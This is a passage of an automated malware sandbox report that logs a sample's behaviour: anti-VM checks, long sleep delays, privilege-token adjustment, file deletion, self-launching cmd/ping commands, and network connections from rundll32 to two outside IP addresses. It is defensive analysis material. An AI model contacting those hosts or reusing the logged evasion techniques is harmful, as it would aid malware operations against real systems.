Source: C:\Windows\SysWOW64\rundll32.exe TID: 5664	Thread sleep count: 6099 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5664	Thread sleep time: -1829700000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10006090 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,

6_2_10006090

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: rundll32.exe, 00000006.00000002.4499080822.000000000083B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: s\Applications\\VMwareHo
Source: rundll32.exe, 00000006.00000003.2668821908.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260633290.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2983769245.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696574520.0000000000939000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalCache\Local\Microsoft\.es\
Source: rundll32.exe, 00000006.00000003.2777869332.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696574520.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2668821908.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3026118197.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260633290.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860632563.0000000000962000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2983769245.0000000000962000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Users\user\Desktop\nt11qTrX4f.exe	API call chain: ExitProcess graph end node	graph_0-848
Source: C:\wlbldvv.exe	API call chain: ExitProcess graph end node	graph_5-1018
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_6-5447

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10021806 VirtualProtect 003CB200,00000200,10021770,10021517,?,10021770,00000000,10021517

6_2_10021806

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.232 12354			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\wlbldvv.exe c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
